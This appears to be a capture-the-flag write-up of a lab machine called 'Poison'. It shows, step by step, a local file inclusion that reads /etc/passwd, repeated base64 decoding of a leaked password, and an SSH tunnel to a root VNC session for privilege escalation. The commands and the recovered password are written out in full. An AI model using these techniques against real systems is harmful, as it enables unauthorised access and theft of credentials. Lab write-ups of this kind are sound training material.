Poison
Nmap :p
nmap -sC -sV 10.129.x.x
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
A FreeBSD box with a website. The site is a “temporary website to test local .php scripts” and it lists a few scripts we can type in: ini.php, info.php, listfiles.php, phpinfo.php. Submitting one sends us to:
http://poison.htb/browse.php?file=listfiles.php
It’s literally just LFI on the website by changing file=. We can read /etc/passwd and see there’s a charix user:
curl "http://poison.htb/browse.php?file=/etc/passwd"
And listfiles.php shows there’s a pwbackup.txt file sitting in the web root, which reads:
This password is secure, it's encoded atleast 13 times.. what could go wrong really..
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
...
It’s just base64 over and over. We save the blob to a file and decode it 13 times:
data=$(cat pw.b64)
for i in $(seq 1 13); do data=$(echo "$data" | base64 -d); done
echo $data
Charix!2#4%6&8(0
User
That password works for charix over SSH, and we grab the user flag. Also in charix’s home directory is a secret.zip. We pull it to kali and unzip it with the same password:
scp charix@poison.htb:~/secret.zip .
unzip secret.zip
# password: Charix!2#4%6&8(0
We get a file called secret that’s just some encrypted looking bytes. Not sure what it’s for yet.
Privesc
Looking at running processes, VNC is running, and it’s running as root:
charix@Poison:~ % ps aux | grep vnc
root 529 ... Xvnc :1 -desktop X ... -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
It’s only listening on localhost on port 5901, so we expose it to our kali with an SSH tunnel:
ssh -L 5901:127.0.0.1:5901 charix@poison.htb
That secret file makes sense now. VNC stores its password in a small obfuscated file just like that, and vncviewer can take it directly:
vncviewer -passwd secret 127.0.0.1::5901
It opens a VNC session already logged in as root, and we can read the root flag.
Ez gg.